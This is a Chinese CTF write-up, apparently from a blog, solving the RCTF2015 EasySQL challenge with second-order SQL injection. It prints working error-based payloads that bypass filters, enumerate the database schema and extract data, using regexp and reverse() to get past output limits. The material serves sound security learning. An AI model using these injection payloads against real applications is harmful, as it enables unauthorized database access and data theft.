[RCTF2015]EasySQL

前言:

又是一道二次注入的题目。本菜鸡还是没有独立做出来,对二次注入这个知识点还是有些不熟练。


一开始先去注册,但发现即使自己正常填信息也不能注册成功,然后懒就没想着去Fazz一下。然后折腾好一会,当我直接只填写username而不填写password、email时发现注册成功。服了,当时心态有点不好吧…

当尝试username为admin"然后再去改密码时出现了报错,说明是双引号闭合,而不是常规的单引号闭合,二次注入的利用点在修改密码的username处,username即为我们注册的username
[RCTF2015]EasySQL_第1张图片
在这里插入图片描述
我们可以猜测一下修改密码的SQL语句应该是:

updateset password='xxx' where username='xx' and pwd='xx'

再结合上有报错信息,我们要构造一条报错语句
但要注意username是过滤了 空格、and、or、/* 等等字符的

空格可以用()来绕过,and、or可以用||和 &&绕过
测试语句:

admin"||extractvalue(1,concat(0x7e,user(),0x7e))#

[RCTF2015]EasySQL_第2张图片
接下一来常规注入:

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
~article,flag,users~

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),0x7e))#
~flag~

admin"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e))#
RCTF{Good job! But flag not her

flag并不在flag表中,尝试一下users这个表:

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e))#
name,pwd,email,real_flag_1s_her

发现确实在users表中,但当我使用mid、substr、left、right尝试截取后面未显示出来的字符时却不行,原来被过滤了。
到这儿就卡住不知道还有什么方法截取字符了…看师傅们是利用正则来截取字符的

select * from test where name regexp '^r'

照着上面这个语句构造即可:
注意这里用到 &&表示逻辑与 从而代替and,但因为我是burp上操作的,不编码会被burp认为是新的参数,所以我选择URL进行一下编码

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=('users')%26%26(column_name)regexp('^r')),0x7e))#
real_flag_1s_here

读flag字段信息:

admin"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e))#

在这里插入图片描述

还是因为回显的限制,然后尝试regexp('^df')的方式想着从截取df字符以后的,但并不能成功。

这里用到一个reserve()函数将字符串反转

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e))#

[RCTF2015]EasySQL_第3张图片
这样就巧妙地回去到末尾的字符了,只需要再将获取的字符反转一下:

MariaDB [test]> select reverse('~}0d8bd15273fd-85da-56f4-b605-8a');
+---------------------------------------------+
| reverse('~}0d8bd15273fd-85da-56f4-b605-8a') |
+---------------------------------------------+
| a8-506b-4f65-ad58-df37251db8d0}~            |
+---------------------------------------------+

总结:

  1. 二次注入,在可疑地方要多尝试,试试单引号、双引号等等的看看有没异常。
  2. 截取字符还能用正则表达式的方式截取regexp '^r'表示匹配以r为开头的字符串
  3. Reverse()函数可以配合截取,逆序输出的字符

你可能感兴趣的:(SQL注入)